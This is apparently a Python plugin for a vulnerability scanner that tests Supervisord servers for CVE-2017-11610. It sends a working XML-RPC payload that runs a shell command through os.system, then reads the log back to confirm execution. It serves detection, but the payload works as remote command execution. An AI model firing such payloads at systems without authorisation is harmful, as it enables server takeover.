#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
Supervisor是用Python开发的一套通用的进程管理程序, 能将一个普通的命令行进程变为后台daemon, 并监控进程状态, 异常退出时能自动重启;
是Linux/Unix系统下的一个进程管理工具, 不支持Windows系统;
    Supervisord 远程命令执行
        CVE-2017-11610
            Payload: https://vulhub.org/#/environments/supervisor/CVE-2017-11610/

Supervisord曝出了一个需认证的远程命令执行漏洞(CVE-2017-11610)
    通过POST请求向Supervisord管理界面提交恶意数据, 可以获取服务器操作权限, 带来严重的安全风险
'''

from lib.tool.md5 import random_int_2
from time import sleep
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        self.randomNum_1, self.randomNum_2 = random_int_2(5)
        self.randomNum_sum = str(self.randomNum_1 + self.randomNum_2)

        self.payloads = [
            {
                'path': 'RPC2',
                'data-1': '''<?xml version='1.0'?>
        <methodCall>
        <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
        <params>
        <param>
        <value><string>expr {NUM1} + {NUM2} | tee -a /tmp/supervisord.log</string></value>
        </param>
        </params>
        </methodCall>'''.format(NUM1=self.randomNum_1, NUM2=self.randomNum_2),
                'data-2': '''<?xml version='1.0'?>
        <methodCall>
        <methodName>supervisor.readLog</methodName>
        <params>
        <param>
        <value><int>0</int></value>
        </param>
        <param>
        <value><int>0</int></value>
        </param>
        </params>
        </methodCall>'''
            },
        ]
    
    def POC(self, clients):
        client = clients.get('reqClient')
        
        vul_info = {
            'app_name': 'Supervisor',
            'vul_type': 'RCE',
            'vul_id': 'CVE-2017-11610',
        }

        headers = {
            'Content-Type': 'text/xml'
        }

        for payload in self.payloads:
            path = payload['path']
            data_1 = payload['data-1']
            data_2 = payload['data-2']

            res1 = client.request(
                'post',
                path,
                data=data_1,
                headers=headers,
                allow_redirects=False,
                vul_info=vul_info
            )
            if res1 is None:
                continue

            sleep(2)

            res2 = client.request(
                'post',
                path,
                data=data_2,
                headers=headers,
                allow_redirects=False,
                vul_info=vul_info
            )
            if res2 is None:
                continue

            if (self.randomNum_sum in res2.text):
                results = {
                    'Target': res2.request.url,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Request-1': res1,
                    'Request-2': res2,
                }
                return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
